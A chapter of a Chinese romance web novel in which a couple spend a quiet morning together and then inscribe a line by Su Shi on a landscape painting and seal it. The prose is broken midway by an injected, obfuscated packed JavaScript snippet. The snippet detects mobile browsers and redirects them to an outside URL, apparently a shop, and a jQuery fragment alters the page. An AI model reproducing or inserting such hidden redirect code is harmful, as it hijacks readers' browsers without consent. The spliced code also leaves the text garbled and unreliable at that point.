俞惜翻了个身，脸颊蹭过一片温热。意识还没完全清醒，手指就先一步碰到了什么。
她睁开眼，陈靳白还没醒。
他侧躺着，脸埋在她的颈窝，呼吸均匀地洒在她的皮肤上，手臂横在她的腰间，松松地搭着。
被子上混着两个人的体温，把微凉的清晨捂得暖烘烘的。
俞惜轻轻把被子往上提了提，盖住他露在外面的肩膀。陈靳白感受到动作下意识收紧手臂，把她往怀里又拢了拢。
“醒了？”他的声音闷在她的颈窝里，带着刚醒的沙哑。
“嗯。”
陈靳白睡眼惺忪的看她：“几点了？”
“不知道。”
床头柜的闹钟早被转了过去，看不到时间。手机也不知道掉在哪里，昨晚进卧室之后就再也没看见过。窗帘拉得严实，只有边缘透进来一束光，泛着浅金色。
看这高度，已经日上三竿了。
陈靳白伸出手臂越过她去够闹钟，动作带起一阵微凉的风。俞惜缩了缩肩膀，他立即反应过来，重新把被子掖好。
“十点了。”他躺回来，侧着头看她，“今天有安排吗？”
俞惜被他看得有些不好意思，把被子往上拉了拉，遮住半张脸，只露出一双眼睛。眼尾还带着一点红，不明显，但天色一照就显出来了。
“今天周六。”
“周六。”陈靳白跟着重复，像是在确认。
“周六。”
陈靳白看着她一脸提防的样子，低下头抵在她的锁骨上，闷闷地笑了一声。
俞惜嗔怪地推了他一下，反而被他捉住手腕。
“你笑什么？”她一把扯下被子，脸上有些发热。
陈靳白抬起头，眼底还留着笑意，安宁又魇足。他刚睡醒的时候比平时松懈得多，眼尾微微下垂，软塌塌地赖在她身边。
俞惜不看他，从被子里伸出脚踢了他一下。
“凉。”他说，然后伸手握住她的脚踝，把那只作乱的脚捉回来塞回被子里，顺手把她的小腿贴在自己腿侧，用体温捂着。
“脚怎么这么凉？”陈靳白蹙眉道。
“一直都这样。”俞惜没挣开，干脆放弃挣扎，往他腿边贴了贴。
“以后每天晚上给你泡脚。”陈靳白说着，手掌顺着她的脚踝往下，覆在她的脚背上。
两人又在床上赖了会儿。
俞惜伸手戳了戳他的锁骨，指尖在他衣领边缘浅浅的凹陷处停住。一小块颜色略深的痕迹，她昨晚没忍住在这里咬了一口。
俞惜愣了一下，赶紧移开手指，假装什么都没看见。
“饿了。”
“那我去做早饭。”
陈靳白坐起来，把拖鞋理到她脚边。俞惜站起来的时候腿软了一下，被陈靳白眼疾手快地扶住。
俞惜没什么威慑力地瞪了他一眼。陈靳白识趣地敛了笑意，扶着她站稳，才转身往厨房走。
洗漱完出来的时候，厨房已经飘出饭菜的香气。陈靳白换了件浅灰色的棉质上衣，袖子卷到小臂，露出一小圈牙印。他自己大概没注意到，手腕上的红痕一晃而过。
陈靳白回头看见她，嘴角弯了一下：“马上就好了，拿碗筷。”
餐桌上已经摆好了两碟小菜。清炒芥兰碧绿，凉拌木耳脆生生地堆在白瓷碟里。陈靳白把煎蛋端上来，又转身去盛粥。小米粥熬得稠糯，米粒开了花，在锅里咕嘟咕嘟地冒着热气。
“一会儿干什么？”他坐下来，把粥碗推到她面前。
俞惜夹了一筷子芥兰，抬眼看他：“远山图还在卷筒里。我想今天把它装裱了。”
陈靳白的筷子顿了一下。
“师傅画的那幅？”
“嗯。”俞惜说，“从上次带回来就一直放在那。再不裱，纸就要起皱了。”
那幅画在卷筒里放了快一周了。她每天进书房，目光都会在卷筒上停一瞬，但始终没有动手。
“需要我帮忙吗？”陈靳白问。
“要。”她说。
吃完饭，两人一起进了书房。卷筒还放在画案旁边的青花瓷画缸里，和从青山带回来的那批棉料宣并排立着。
俞惜走过去，把卷筒取出来，旋开盖子。画轴用素白的锦缎裹着，系着一根淡蓝色的丝带，打着沈曼语惯用的如意结。
画卷在画案上缓缓展开。远山如黛，近水含烟，留白处还空着，等着题字。
陈靳白站在对面，看着她动作轻柔地抚过命纸。
“想好要题什么字了吗？”
“想了好几个。”她的手在留白处顿住，“都不太对。”
陈靳白从笔挂上取下笔。清水漾开一圈细密的涟漪，笔尖在水里慢慢吃透，软软的聚成一簇。
“都有哪些？”陈靳白问。
俞惜从笔洗里提起笔，在砚台上刮去多余的水分，没有蘸墨，在画案旁的废纸上写了几个字。
远山。
归处。
她手腕停了一下，又落下一个宝盖头。
一个舒展的“安”字在纸面上落下，留下浅浅的凹痕。
“远山淡如烟，此心安处是吾乡。”陈靳白沉思了会儿说，“东坡先生的词，怎么样？”
“常羡人间琢玉郎，天应乞与点酥娘。尽道清歌传皓齿，风起，雪飞炎海变清凉。万里归来颜愈少，微笑，笑时犹带岭梅香。试问岭南应不好，却道——此心安处是吾乡”
她念到最后一句声音不自觉放轻，目光落在空白处。远山在远处，近水在脚下。
“题这里？”陈靳白指向画面的右下角。
俞惜往后退了退，把笔递给他。
陈靳白疑惑地看她，没有接。笔尖还凝着一滴水，将落未落地悬在毫尖，在光里微微发颤。
“我们换一下。”她说，“你题字，我盖章。”
笔杆上还残留着她掌心的温度。陈靳白把笔在砚台上轻轻刮了一下，重新蘸墨。屯胡的墨色在砚台底沉着，泛着细细的油光。
“此心安处是吾乡。”
陈靳白悬腕，笔尖对准画面上——近水岸边几户人家的屋顶上方。最后一个字收笔他把笔搁在笔山上，退后半步。
“好了。”
俞惜走过来，站在他旁边，低头看那行字。
“好看。”她说。
陈靳白侧过头看她。
“真的好看。”俞惜抬起头看他，“比我写得好。”
“你的章呢？”他问。
俞惜从抽屉里拿出一个小锦盒。里面是一方寿山石的印章，印纽雕的是一枝兰花。她拿起印章，在印泥盒里轻轻按了按，朱红色的印泥在印章底部均匀地铺开。
她弯下腰，对准画纸上落款下方的位置，把印章稳稳地按下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500949|202727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手指在印纽上停了两秒，然后轻轻提起。
红色的印痕落在宣纸上，和陈靳白题的小楷并排站着。
近水岸边，几户人家的屋顶隐约可见，炊烟袅袅地升着。那行字落在云雾缭绕处，不像是画外人的题跋，倒像是画中人的心声。
“这幅画，”她开口，声音很轻，“现在完整了。”
“我小时候，”她说，“觉得‘安’字很难写。宝盖头总是写不好，不是太大就是太小，要么把下面的女字压得喘不过气，要么就盖不住，漏出一大截。”
“外公说，宝盖头是屋檐，女字是住在屋檐下的人。屋檐太大，人就被压住了。屋檐太小，人就淋着雨。”俞惜的手指在画案边缘轻轻摩挲着，目光落在那行字上，“后来我花了很长时间，才学会写好一个宝盖头。”
俞惜转头看他。他的目光还落在画上，侧脸的线条被窗外的阳光勾勒得很柔和。
“我以前觉得，修复比画画容易，是因为修复不用自己做决定。现在才发现，最难的不是做决定，是做完决定之后不后悔。画坏了就画坏了，一张纸而已。人生很长，纸还有很多。”
陈靳白低下头看着她的眼睛。那双眼睛从前是安静的、克制的，像深山古潭的水，看着清澈见底，却不知道底下有多深。
但现在有光在水面上轻轻漾着。
秋光从窗户照进来，在远山图上铺了一层浅金色的光。墨色在光里泛着温润的色泽，红色印痕像一枚小小的火漆封缄，把那些走过的路、写过的字、画过的画都封存在这一方宣纸上。
俞惜把远山图小心地卷起来，重新系好那根淡蓝色的丝带。
收拾好卷筒，俞惜走到晾架前，把前几天画的那些兰花一张一张地收起来。她把它们叠好，放进抽屉里。
“这些不带去吗？”陈靳白问。
“这些？”俞惜摇头，“这些是练习。”
她在书房的角落蹲下来，拂了拂箱子上的灰。上次搬家的时候装的是她的修复工具。后来工具拿出来，箱子就空了，一直放在角落里。里面还垫着原来的那层棉纸，纸面已经压出了工具的轮廓。
俞惜将装好远山图的卷筒轻轻放进去，盖上箱盖，扣好铜搭扣。
隔天早上，俞惜是被墨香唤醒的。屯胡的气味辨识度很高，带着松烟和冰片的清苦，一丝丝从门缝里钻进来。
她翻了个身，床的另一边空着。窗帘已经拉开了半边，晨光从玻璃窗外透进来，在木地板上铺开一片浅金色的光。她踩着那片光走到书房门口，推开门。
陈靳白站在画案前，手里握着那管她惯用的山马笔。面前铺着一张练习用的毛边纸，上面写满了字。
她走到他身后，看清楚了纸上的字。
“見信如晤。”
最开始那几遍笔画还有些生涩，写到后面，手腕的力道渐渐找到了节奏，横平竖直有了底气，连最难写的“信”字，右边那个“言”旁也收得住笔锋了。
“你什么时候起来的？”俞惜问。
陈靳白回过头，看见她站在晨光里，头发还没扎，散在肩上。他的眼神柔和下来，把笔搁在笔山上，转过身来。
“醒得早，睡不着，就来练练。”他说着，伸手把她揽过来。她刚睡醒的身上带着暖意，软软地靠进他怀里。
“练这个做什么？”她看着纸上那一排排的“见信如晤”。